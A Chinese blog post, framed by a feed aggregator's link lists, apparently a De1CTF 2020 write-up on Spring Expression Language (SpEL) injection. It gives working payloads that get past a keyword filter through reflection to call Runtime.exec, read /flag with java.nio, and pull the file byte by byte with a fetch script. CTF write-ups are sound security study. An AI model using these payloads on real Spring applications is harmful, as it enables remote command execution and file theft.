惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

I
Intezer
The Register - Security
The Register - Security
博客园 - 三生石上(FineUI控件)
博客园_首页
量子位
Hugging Face - Blog
Hugging Face - Blog
Engineering at Meta
Engineering at Meta
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
Last Week in AI
Last Week in AI
博客园 - 【当耐特】
N
Netflix TechBlog - Medium
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
GbyAI
GbyAI
D
Docker
M
MIT News - Artificial intelligence
Jina AI
Jina AI
The GitHub Blog
The GitHub Blog
V
Visual Studio Blog
T
Tailwind CSS Blog
S
SegmentFault 最新的问题
Microsoft Azure Blog
Microsoft Azure Blog
G
Google Developers Blog
有赞技术团队
有赞技术团队
IT之家
IT之家
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
T
Troy Hunt's Blog
Cyberwarzone
Cyberwarzone
Recorded Future
Recorded Future
H
Help Net Security
L
LINUX DO - 热门话题
罗磊的独立博客
Google DeepMind News
Google DeepMind News
NISL@THU
NISL@THU
SecWiki News
SecWiki News
T
Threat Research - Cisco Blogs
T
Threatpost
Cloudbric
Cloudbric
G
GRAHAM CLULEY
S
Security @ Cisco Blogs
Hacker News - Newest:
Hacker News - Newest: "LLM"
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
博客园 - 司徒正美
P
Proofpoint News Feed
V2EX - 技术
V2EX - 技术
L
LangChain Blog
The Cloudflare Blog
雷峰网
雷峰网
cs.CV updates on arXiv.org
cs.CV updates on arXiv.org
B
Blog
T
The Blog of Author Tim Ferriss

Yesterday17's Blog

2026 新年解密红包 / Melody Flag | Yesterday17's Blog 谈谈 Iori 的设计思路(二):如何实现一个 Showroom 录制工具? | Yesterday17's Blog 谈谈 Iori 的设计思路(一):从 Nico Timeshift 说起 | Yesterday17's Blog Iori Minyami 0.1.0 发布 | Yesterday17's Blog 2025 新年解密红包 / Melody Flag | Yesterday17's Blog 使用 Cloudflare Warp 解决罗森票务的海外登录问题 | Yesterday17's Blog How To Blog 04: The Astro v5 Era | Yesterday17's Blog 谈谈 tokio::select! 的公平性 | Yesterday17's Blog Learning Pingora 05 - Connect with TLS | Yesterday17's Blog Leaving Bytedance | Yesterday17's Blog 大橋彩香 AsiaTour「Reflection」上海公演 个人向记录 & Repo | Yesterday17's Blog Recoving from burnout - What happened? | Yesterday17 Yubikey 重建手册 | Yesterday17's Blog How To Blog 03: Heimus | Yesterday17's Blog 🪧 Blog Migration Accouncement | Yesterday17's Blog Learn Your IDE - VSCode 是如何仅重启插件的? | Yesterday17's Blog How To Blog 02: Astro❤️Password | Yesterday17's Blog How To Blog 01: Why, How, and the Future | Yesterday17's Blog Learning Pingora 04 - Establish L4 Connection | Yesterday17's Blog Learning Pingora 03 - Upstreams and Peers | Yesterday17's Blog Learning Pingora 02 - A Simple HTTP Server | Yesterday17's Blog Learning Pingora 01 - Getting Started | Yesterday17's Blog 2024 新年解密红包 / Melody Flag | Yesterday17's Blog 向新的一年飞驰——记录 2023 | Yesterday17's Blog 「サクラノ刻」对话选摘(2) | Yesterday17's Blog PGP Key Revocation 注销声明 | Yesterday17's Blog 「サクラノ刻」对话选摘(1) | Yesterday17's Blog 2023 新年解密红包 / Melody Flag | Yesterday17's Blog 『蒼の彼方のフォーリズム』通关感想 | Yesterday17's Blog 单显卡直通教程 | Yesterday17's Blog 对博客与笔记的思考 | Yesterday17's Blog Project Anni 之旅(3)自动化 Flutter 应用 CI/CD 上架流程 | Yesterday17's Blog AsobiStage 直接播放链接 | Yesterday17 如何在后分P时代进行投稿——sswa使用详解 | Yesterday17's Blog JSON RPC 与 LSP 协议基础 | Yesterday17's Blog Grajapa Shueisha / BookEnd 加密方式调查 | Yesterday17's Blog 【2022篇+WriteUp】如何再收一个新年红包? | Yesterday17's Blog 如何将良心云的良心功能清理干净 | Yesterday17's Blog 【油猴脚本】bilibili 投稿页面返回旧版+旧版页面强制允许分P上传 | Yesterday17's Blog Cloudr1v1 授权方式分析 | Yesterday17 Typora 1.0.2 逆向实录 | Yesterday17's Blog Project Anni 之旅(2)ValueAfterTable——toml-rs的实现与限制 | Yesterday17's Blog IPv4透明代理+IPv6 Passthrough——树莓派单臂软路由折腾记 | Yesterday17's Blog Chaos; Child 汉化补丁 神秘编码探索 | Yesterday17's Blog 镣铐与舞蹈——个性与共性之迷思 | Yesterday17's Blog Go 学习笔记 02 - 找准 io 之道 | Yesterday17's Blog NAT Slipstreaming v1 原理浅析 | Yesterday17's Blog 绕过「9-nine-」的 CDKEY 验证——KrkrPlugin 正(?)向实录 | Yesterday17's Blog 静流的青春纪念册——「サクラノ刻 -櫻の森の下を歩む-」体验版感言 | Yesterday17's Blog Project Anni 之旅 01 - 从 clap-builder 到 derive | Yesterday17's Blog [Google CTF 2021] CPP WriteUp | Yesterday17's Blog 获取 アソビステージ 的实际播放链接 | Yesterday17's Blog 90 行 Rust 代码实现 AsyncTeeReader | Yesterday17's Blog 或许还算有价值一读的文章列表 | Yesterday17's Blog 从零开始的 Seedbox 之旅 | Yesterday17's Blog [随笔]技术型博客行文迷思(1) | Yesterday17's Blog 浅谈 git fetch 的工作方式 | Yesterday17's Blog 『ソーサレス*アライヴ! ~the World's End Fallen Star~』通关感想" | Yesterday17's Blog Rust std::fmt 格式语法简述 | Yesterday17's Blog 日亚修改居住国的解决方案 | Yesterday17's Blog [Windows/Linux] GC553 的 Switch 完美采集之路 | Yesterday17's Blog 【翻译】Subtyping and Variance / 子类型与变型 | Yesterday17's Blog Berd's Red Envelope 2021 WriteUp | Yesterday17's Blog 【中英对照】ALSA 音频 API 使用教程/A Tutorial on Using the ALSA Audio API | Yesterday17's Blog 从 cue_scanner.l 看 CUE Sheet 的词法单元 | Yesterday17's Blog Postman 历史记录导出的解决方案 | Yesterday17's Blog 《恋爱绮谭 不存在的夏天》通关感想 | Yesterday17's Blog [微机实验/TD-PITE] 微机接口综合实验 | Yesterday17's Blog [微机实验/TD-PITE] 键盘扫描及数码管显示实验 | Yesterday17's Blog [微机实验/TD-PITE] 数码管显示实验 | Yesterday17's Blog Airsonic Advanced+Google Drive+Caddy 部署纪实 | Yesterday17's Blog X-NUCA 2020 - hellowasm 题解 | Yesterday17's Blog [微机实验/TD-PITE] 8251 串行接口实验 | Yesterday17's Blog Node.js child_process.fork 与 env 污染 RCE | Yesterday17's Blog EP.01 「夜の向日葵」 | Yesterday17's Blog [微机实验/TD-PITE] 8254 定时/计数器实验+选做实验 | Yesterday17's Blog [JLU CTF/2020] babywasm WriteUp | Yesterday17's Blog PHP 反序列化与经典利用 | Yesterday17's Blog WebAssembly 逆向简述 | Yesterday17's Blog 『彼女、お借りします』一期完结点评 | Yesterday17's Blog [微机实验/TD-PITE] D/A 转换实验+选做实验 | Yesterday17's Blog [微机实验/TD-PITE] A/D 转换实验+选做实验 | Yesterday17's Blog 开源项目申请 JetBrains Open Source License 简单流程 | Yesterday17's Blog 微软拼音与 JetBrains 搜索快捷键冲突的解决方案 | Yesterday17's Blog [微机实验/TD-PITE] 8259 中断优先级实验+选做实验 | Yesterday17's Blog IFTTT 测试(续) | Yesterday17 IFTTT 测试 | Yesterday17's Blog [微机实验/TD-PITE] 存储器扩展实验+选做实验 | Yesterday17's Blog 新版 GCC 针对 -fdump-translation-unit 的替代方案 | Yesterday17's Blog 一次 HSTS 策略配置的排错之旅 | Yesterday17's Blog YukiNative 踩坑记——Windows 的消息队列 | Yesterday17's Blog 我是我自己——论获取 HTTPS 证书时的验证步骤 | Yesterday17's Blog 【设计文档】对 PUG 的大规模设计修订(1.1) | Yesterday17's Blog GS65 折腾记(2)加装固态,分区,Grub2 引导 Manjaro LiveCD | Yesterday17's Blog 「さくら、もゆ。」的空白字体列表——一次逆向问题定位过程实录 | Yesterday17's Blog GSuite 探索篇(1)使用 Service Account 向 Google Drive 传输文件 | Yesterday17's Blog 『サクラノ詩 -櫻の森の上を舞う-』通关感想 | Yesterday17's Blog 《ATRI -My Dear Moments-》通关感想 | Yesterday17's Blog [工具][VSCode 扩展] AegiKit——方便 Aegisub 使用的工具箱 | Yesterday17's Blog 贝塞尔曲线、字体矢量化与曲线运算 | Yesterday17's Blog
[CTF] SpEL 表达式与文件读取 | Yesterday17's Blog
Yesterday17 · 2020-05-04 · via Yesterday17's Blog

摸了这次的 De1CTF,深感自己知识积累不够。这次解出的唯一一道 Web 题是 SpEL 注入题,我们就从这道题入手来了解一下吧(

ToC

  • 题面
  • SpEL 简介
    • 数组
      • 不可修改
      • 可修改
    • Map
    • [] 运算符
    • new
    • T(class)
  • 构造尝试:java.lang.Runtime
    • 绕过 T(
    • 获取 getRuntime
    • exec
  • 构造尝试:java.nio
    • 文件读取
    • 获取内容
      • 逐字符获取
      • 直接转换
  • 总结
  • 参考

题面

题目描述如下:

Please calculate the content of file /flag

http://tounikaku_server_addr/

题目本体给的是一个计算器:

经过观察,发现本质是调用 /spel/calc 进行计算:

其实这里的 spel 已经算是提示了,但第一次接触并看不出来.jpg((,所以到了接口先试了一下 xjb 表达式:

搜了一下 EL1044E,确认是 SpEL 了。

SpEL 简介

SpEL,全程 Spring Expression Language,顾名思义,是 Spring 提供的表达式执行语言。从 CTF 的角度来说,我们需要了解这些:

数组

不可修改

不可修改的数组可以通过 {a, a, b} 实现,构造的是 java.util.Collections$UnmodifiableRandomAccessList

可修改

数组可以通过 {a, b + c} 实现。和集合相比,其最大的区别就是多了一次运算。注意到上面的 Unmidifiable 了吗?当不存在运算时,SpEL 默认所有内容都是不可修改的;但一旦引入了运算,就代表数组(或其他容器)中的内容是需要修改的,因此对应构造的容器也就变成了 java.util.ArrayList

值得注意的是,这里可以通过 ArrayList.toArray() 生成 Object[]

Map

Map 同样分为可修改和不可修改,对应的分别是 java.util.Collections$UnmodifiableMapjava.util.LinkedHashMap。创建的格式类似 JSON,这里就直接略过了。

[] 运算符

[] 运算符的作用是获取数组/Map 中的内容(属性),因此利用这个可以获得类中成员的值

整体语法和 JS 类似,但是有一些例外。对于 String 而言,[] 只能通过下标访问字符,因此 ''['class'] 会报错而 ''.class 没有问题。

(不知道是不是这道题的问题,待确认

new

在 SpEL 中可以通过 new 来创建对象,使用方式和 Java 相同。但由于这里的题目本身 WAF 了 new,因此题解中并没有用到。

T(class)

使用诸如 T(java.lang.Runtime) 的结构可以获得一个该类本身的引用,之后就可以执行其对应的静态函数了。但同样是上面的原因,由于 WAF 了 T(,因此本题没有用到。

构造尝试:java.lang.Runtime

首先是测了一下 WAF 过滤的内容:

  • java.lang
  • new
  • getClass
  • T(
  • #
  • String
  • getMethod('exec').invoke()
  • Runtime
  • exec(

绕过 T(

由于 T( 被限制,因此我们需要通过另一种方式绕过 T(。这里我们使用的是 forName

''.class.forName('java'+'.lang.R'+'untime')

获取 getRuntime

由于 getRuntime 存在被过滤单词,因此只能通过反射获取方法:

''.class.forName('java'+'.lang.R'+'untime').getMethod('getR'+'untime').invoke(''.class.forName('java'+'.lang.R'+'untime'))

成功获得 Runtime 实例:

exec

使用类似的方法构造 exec,并尝试执行:

''.class.forName('java'+'.lang.R'+'untime').getMethod('ex'+'ec', ''.class).invoke(''.class.forName('java'+'.lang.R'+'untime').getMethod('getR'+'untime').invoke(''.class.forName('java'+'.lang.R'+'untime')),'ls')

然而,执行的结果表明:使用了 openrasp

由于 openrasp 不同于普通的 WAF,我这里没有想到办法绕过。这个方案可以说是失败了。

构造尝试:java.nio

文件读取

得到了 @SeraphJack 的指点
得到了 @SeraphJack 的指点

这里尝试通过 java.nio 直接读取文件。题目告诉我们要去 /flag 读,因此只要尝试读取 /flag 的内容就可以了。

''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').get('/flag'))

这里直接返回了一个 byte[],看来是成功了。

获取内容

逐字符获取

通过下标访问可以获得每个字符的内容,然后 xjb 写个脚本就可以了:

arr = [];

func = i =>

fetch(

"http://106.52.164.141/spel/calc?calc=" +

escape(

`''.class.forName('java.nio.file.Files').readAllBytes(''.class.forName('java.nio.file.Paths').get('/flag'))[${i}]`

)

)

.then(t => t.text())

.then(t => arr.push(String.fromCharCode(t)));

for (let i = 0; i < 44; i++) await func(i);

(然而之前翻车了

最终正常拼接得到结果。

直接转换

依然是得到了指点(

尝试用这种方法获取字符串:

直接就读出来了(

总结

嘛,总之这题应该算是 SpEL 的入门题吧考验的还是 Java 功底。题中直接给出了 SpEL 的执行环境,而不是要靠我们去发掘。这至少告诉了我们在做 Java 题的时候还有这样一种注入手段,也是我们在使用 Spring 时所需要留意的,除去 SQL 注入的另一种注入漏洞。

参考